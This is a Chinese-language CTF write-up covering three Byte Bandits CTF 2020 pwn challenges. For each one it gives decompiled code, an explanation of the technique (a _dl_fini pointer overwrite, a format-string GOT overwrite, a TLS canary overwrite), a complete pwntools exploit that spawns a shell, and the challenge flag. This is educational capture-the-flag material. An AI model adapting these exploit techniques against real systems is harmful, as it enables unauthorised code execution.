【WriteUp】Byte Bandits CTF 2020 -- Pwn 题解

收获满满

write

Description:

You can write,
what can you byte.

nc pwn.byteband.it 9000


Solution:

程序保护如下:

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled

main 函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
_QWORD *v3; // [rsp+10h] [rbp-20h]
__int64 v4; // [rsp+18h] [rbp-18h]
char s; // [rsp+26h] [rbp-Ah]
unsigned __int64 v6; // [rsp+28h] [rbp-8h]

v6 = __readfsqword(0x28u);
setbuf(stdin, 0LL);
setbuf(_bss_start, 0LL);
printf("puts: %p\n", &puts, argv);
printf("stack: %p\n", &v4);
while ( 1 )
{
puts("===Menu===");
puts("(w)rite");
puts("(q)uit");
fgets(&s, 2, stdin);
if ( s == 'q' )
break;
if ( s == 'w' )
{
printf("ptr: ", 2LL);
__isoc99_scanf("%lu", &v3);
printf("val: ");
__isoc99_scanf("%lu", &v4);
*v3 = v4;
}
}
exit(0);
}

这题如果用我从 TaQini 师傅那问到的点的话,那考的太偏了

具体的利用在 exit 函数的_dl_fini函数里:

1
2
3
4
5
6
0x7f22d9fdca02 <_dl_fini+98>     lea    rdi, [rip + 0x217f5f] <0x7f22da1f4968>
0x7f22d9fdca09 <_dl_fini+105> call qword ptr [rip + 0x218551] <0x7f22d9c2a440>
rdi: 0x7f22da1f4968 (_rtld_global+2312) ← 0x68732f6e69622f /* '/bin/sh' */
rsi: 0x0
rdx: 0x7f22d9fdc9a0 (_dl_fini) ← push rbp
rcx: 0x1

call qword ptr [rip + 0x218551]_rtld_global上面的地址,rdi 也是用的_rtld_global上面的地址

不同的 ld 对应的_rtld_global不一样,这里我是和远程机子都用的 Ubuntu 18.04 所以直接打通了

后来我试了试 IO FILE 里面绕过 vtable 的两个攻击方法,也可以过

exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
import binascii

debug = 2
context(arch="amd64", endian='el', os="linux")
context.log_level = "debug"
if debug == 1:
p = process('./write')
else:
p = remote('pwn.byteband.it', 9000)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)


def loop(loop_ptr, loop_val):
p.sendlineafter('(q)uit\n', 'w')
p.sendlineafter('ptr: ', str(loop_ptr))
p.sendlineafter('val: ', str(loop_val))
p.recvuntil('(q)uit\n')


p.recvuntil('puts: ')
addr_puts = int(p.recvuntil('\n')[:-1], 16)
libcbase = addr_puts - libc.sym['puts']
addr_system = libcbase + libc.sym['system']
addr_target = addr_puts + 0x5995a0
addr_rdi = addr_puts + 0x598fa8

loop(addr_rdi, int(binascii.hexlify('/bin/sh'[::-1]), 16))
loop(addr_target, addr_system)
# gdb.attach(p, "b _dl_fini\nc" + "\nsi" * 18)
p.sendlineafter('(q)uit\n', 'q')
p.interactive()

Flag:

1
flag{imma_da_pwn_mAst3r}

fmt-me

Description:

Format strings are so 2000s.

nc pwn.byteband.it 6969


Solution:

程序保护如下:

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

main 函数如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf; // [rsp+10h] [rbp-110h]
unsigned __int64 v5; // [rsp+118h] [rbp-8h]

v5 = __readfsqword(0x28u);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
puts("Choose your name");
puts("1. Lelouch 2. Saitama 3. Eren");
printf("Choice: ", 0LL);
if ( get_int() == 2 )
{
puts("Good job. I'll give you a gift.");
read(0, &buf, 0x100uLL);
snprintf(other_buf, 0x100uLL, &buf);
system("echo 'saitama, the real hero'");
}
return 0;
}

get_int 函数如下:

1
2
3
4
5
6
7
8
9
int get_int()
{
char s; // [rsp+0h] [rbp-20h]
unsigned __int64 v2; // [rsp+18h] [rbp-8h]

v2 = __readfsqword(0x28u);
fgets(&s, 10, stdin);
return atoi(&s);
}

这题在跟 TaQini 师傅讨论的过程中又学到了一点,在一个函数还没有被 dl 加载的时候,我叫它函数 A

我把 B 函数的 got 表换成 A 函数的 plt + 6 的地址,那么 B 函数就可以通过 dl 加载 plt 所对应的 A 函数的 libc 地址

那么这题就简单了,一开始替换 system 为 main 函数,再把 atoi 函数的 got 表换成 plt_system + 6

那么第二次运行到 atoi 函数时,运行的就是 system 函数了

exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

debug = 1
context(arch="amd64", endian='el', os="linux")
context.log_level = "debug"
if debug == 1:
p = process('./fmt')
else:
p = remote('pwn.byteband.it', 6969)
elf = ELF('./fmt', checksec=False)
got_system = elf.got['system']
got_atoi = elf.got['atoi']
plt_system = elf.plt['system']
addr_main = 0x4011f7

gdb.attach(p, "set follow-fork-mode parent\nb *0x4012D5\nc")
p.sendlineafter('Choice: ', '2')
pd = '%' + str(plt_system + 6) + 'c%17$ln'
pd += '%' + str(addr_main - plt_system - 6) + 'c%16$ln'
pd = pd.ljust(0x50, 'a')
pd += p64(got_system)
pd += p64(got_atoi)
p.sendafter(' gift.\n', pd)
p.sendlineafter('Choice: ', '/bin/sh')
p.interactive()

Flag:

1
flag{format_string_is_t00_0ld}

look-beyond

Description:

Beyond the Aquila Rift, or is it in between?

nc pwn.byteband.it 8000

Update:

Remote kernel is

Linux 4.15.0-1057-aws #59-Ubuntu SMP Wed Dec 4 10:02:00 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux


Solution:

程序保护如下:

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

main 函数如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
unsigned __int64 size; // ST00_8
_BYTE *v4; // ST08_8
void *buf; // ST18_8
char v7; // [rsp+20h] [rbp-30h]
unsigned __int64 v8; // [rsp+48h] [rbp-8h]

v8 = __readfsqword(0x28u);
if ( dword_60107C )
{
if ( dword_60107C == 1 )
{
a2 = (char **)&puts;
printf("puts: %p\n", &puts, a3);
}
}
else
{
setvbuf(stdout, 0LL, 2, 0LL);
a2 = 0LL;
setvbuf(stdin, 0LL, 2, 0LL);
}
printf("size: ", a2);
size = sub_400777(&v7);
v4 = malloc(size);
printf("idx: ", size);
v4[sub_400777(&v7)] = 1;
printf("where: ");
buf = (void *)sub_400777(&v7);
printf("%ld", buf);
read(0, buf, 8uLL);
dword_60107C = 1;
return 0LL;
}

sub_400777 函数如下:

1
2
3
4
5
unsigned __int64 __fastcall sub_400777(char *a1)
{
fgets(a1, 8, stdin);
return strtoul(a1, 0LL, 10);
}

这题的利用点来自于 canary 的知识点:tls

程序开始的时候会在 fs 段的 0x28 位置上生成一段随机数,然后将这个随机数存入栈中作为 canary

每次程序结束运行时,将这两个数作异或,两数相同正常退出,不同就进入__stack_chk_fail

我们知道,fs 段靠近 mmap 的地方,那么我们可以先申请堆id大小大于 top_chunk,使其分配到 mmap

然后利用 search 命令搜索 canary 的值所存在的地址,和申请到的 mmap 地址做差即可得到偏移

第二次的偏移经测试要比第一次多加 0x31000

不过这块有一处不太懂,申请的 chunk 如果要更大的话,程序就不给我返回地址了,只有稍微大过 top_chunk 才行

exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

debug = 1
context(arch="amd64", endian='el', os="linux")
context.log_level = "debug"
if debug == 1:
p = process('./chall')
else:
p = remote('pwn.byteband.it', 8000)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
elf = ELF('./chall', checksec=False)
libc_one_gadget = [0x4f2c5, 0x4f322, 0x10a38c]
got___stack_chk_fail = elf.got['__stack_chk_fail']
addr_main = 0x4007D6

gdb.attach(p, "b *0x4008A9\nc")
p.sendlineafter('size: ', str(0x30000))
p.sendlineafter('idx: ', str(0x324d8))
p.sendafter('where: ', str(got___stack_chk_fail))
p.sendafter(str(got___stack_chk_fail), p64(addr_main))

p.recvuntil('puts: ')
addr_puts = int(p.recvuntil('\n')[:-1], 16)
libcbase = addr_puts - libc.sym['puts']
addr_one_gadget = libcbase + libc_one_gadget[1]
p.sendlineafter('size: ', str(0x30000))
p.sendlineafter('idx: ', str(0x324dc + 0x31000))
p.sendafter('where: ', str(got___stack_chk_fail))
p.sendafter(str(got___stack_chk_fail), p64(addr_one_gadget))
p.interactive()

Flag:

1
flag{tls_isnt_b1ack_magic}
文章目录
  1. 1. write
    1. 1.1. Description:
    2. 1.2. Solution:
    3. 1.3. Flag:
  2. 2. fmt-me
    1. 2.1. Description:
    2. 2.2. Solution:
    3. 2.3. Flag:
  3. 3. look-beyond
    1. 3.1. Description:
    2. 3.2. Solution:
    3. 3.3. Flag:
|